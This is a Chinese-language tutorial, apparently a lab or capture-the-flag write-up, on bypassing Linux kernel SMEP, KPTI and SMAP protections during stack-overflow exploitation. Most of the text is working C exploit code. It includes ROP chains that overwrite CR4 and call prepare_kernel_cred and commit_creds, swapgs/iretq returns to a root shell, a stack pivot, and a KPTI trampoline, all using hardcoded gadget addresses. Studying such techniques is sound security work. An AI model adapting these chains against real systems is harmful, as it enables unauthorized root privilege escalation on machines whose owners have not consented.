Linux Kernel Pwn Part 2
字数 1270 2025-08-24 07:48:22
Linux Kernel Pwn 绕过保护机制详解
1. 引言
本文详细讲解如何绕过Linux内核中的各种保护机制,包括SMEP、KPTI和SMAP。这些保护机制旨在防止内核漏洞被利用,但通过精心构造的利用技术,攻击者仍然可以绕过这些保护。
2. SMEP绕过技术
2.1 SMEP概述
SMEP (Supervisor Mode Execution Protection)保护机制在kernel-mode下将userspace地址标记为non-executable,类似于用户态的NX保护。
2.2 尝试修改CR4寄存器
SMEP由CR4寄存器的第20位控制,可以通过修改CR4来禁用SMEP:
void exploit() {
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long native_write_cr4 = 0xffffffff814443e0;
unsigned long payload[0x100 / 8];
unsigned long offset = 0x80 / 8;
payload[offset++] = cookie;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = (unsigned long)pop_rdi_ret;
payload[offset++] = 0x6f0; // CR4值,第20位清零
payload[offset++] = (unsigned long)native_write_cr4;
payload[offset++] = (unsigned long)escalate_privs;
write(global_fd, payload, sizeof(payload));
}
注意:这种方法在实际中可能会失败,因为内核可能对CR4的修改有保护机制。
2.3 使用ROP链绕过SMEP
当直接修改CR4不可行时,可以构造ROP链来提升权限:
- 准备
prepare_kernel_cred(0)调用 - 调用
commit_creds(),使用上一步的返回值作为参数 - 执行
swapgs; ret - 设置栈和寄存器状态
- 执行
iretq返回用户态
void exploit_smep() {
user_rip = (unsigned long)get_root_shell;
unsigned long prepare_kernel_cred = 0xffffffff814c67f0;
unsigned long commit_creds = 0xffffffff814c6410;
unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long pop_rdx_ret = 0xffffffff81007616;
unsigned long cmp_rdx_jne_ret = 0xffffffff81c0f8b2;
unsigned long cmp_rdx_jne_pop2_ret = 0xffffffff81964cc4;
unsigned long mov_rdi_rax_pop2_ret = 0xffffffff8166ff23;
unsigned long swapgs_pop1_ret = 0xffffffff8100a55f;
unsigned long iretq = 0xffffffff8100c0d9;
unsigned long payload[60];
unsigned long offset = 0x80 / 8;
// ROP链构造
payload[offset++] = cookie;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = (unsigned long)pop_rdi_ret;
payload[offset++] = 0x00;
payload[offset++] = (unsigned long)prepare_kernel_cred;
payload[offset++] = (unsigned long)pop_rdx_ret;
payload[offset++] = 8;
payload[offset++] = (unsigned long)cmp_rdx_jne_pop2_ret;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = (unsigned long)mov_rdi_rax_pop2_ret;
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = (unsigned long)commit_creds;
payload[offset++] = (unsigned long)swapgs_pop1_ret;
payload[offset++] = 0x0;
payload[offset++] = (unsigned long)iretq;
payload[offset++] = user_rip;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
write(global_fd, payload, sizeof(payload));
}
2.4 栈转移技术(Stack Pivoting)
当栈溢出长度不足以构造完整ROP链时,可以使用栈转移技术:
void stack_pivot() {
// 映射fake stack
unsigned long *fake_stack = mmap((void*)(0x5b000000 - 0x1000), 0x2000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
unsigned offset = 0x1000 / 8;
fake_stack[0] = 0xdead; // 防止Double Fault
fake_stack[offset++] = 0x0; // r12
fake_stack[offset++] = 0x0; // rbp
// 构造ROP链...
// 覆盖返回地址
unsigned long payload[60];
unsigned long off = 0x80 / 8;
payload[off++] = cookie;
payload[off++] = 0x0;
payload[off++] = 0x0;
payload[off++] = 0x0;
payload[off++] = 0xffffffff8196f56a; // mov esp, 0x5b000000; pop r12; pop rbp; ret
write(global_fd, payload, sizeof(payload));
}
注意事项:
- 映射两个页面,从
0x5b000000 - 0x1000开始 - 第一个页面需要写入一个值以防止Double Fault
3. KPTI绕过技术
3.1 KPTI概述
KPTI (Kernel Page-table Isolation)机制防止Meltdown攻击,在用户态没有类似机制。开启KPTI后,用户态页表只有部分内核映射。
3.2 绕过KPTI的方法
3.2.1 使用信号处理器
简单方法是为SIGSEGV注册信号处理程序:
signal(SIGSEGV, get_root_shell);
3.2.2 KPTI Trampoline
更可靠的方法是使用内核中交换页表的代码片段:
// 查找trampoline函数地址
$ cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode
该函数的关键部分:
- 恢复寄存器
- 交换GS寄存器
- 交换页表
- 返回用户态
利用该函数的代码片段可以完成swapgs、交换页表和iretq等操作:
payload[offset++] = commit_creds;
payload[offset++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode+22
payload[offset++] = 0x0;
payload[offset++] = 0x0;
payload[offset++] = user_rip;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
4. SMAP绕过技术
4.1 SMAP概述
SMAP (Supervisor Mode Access Protection)在kernel-mode下将userspace地址空间标记为不可读、不可写。
4.2 绕过方法
绕过SMAP的策略与绕过SMEP类似,可以使用ROP链技术(结合绕过KPTI的策略):
- 所有操作都在内核地址空间完成
- 使用内核中的ROP gadget
- 避免直接访问用户空间内存
5. 总结
| 保护机制 | 绕过技术 |
|---|---|
| SMEP | 修改CR4寄存器或使用内核ROP链 |
| KPTI | 信号处理器或KPTI trampoline |
| SMAP | 内核ROP链,避免访问用户空间内存 |
通过组合这些技术,可以构建可靠的漏洞利用链,即使在内核启用了这些保护机制的情况下。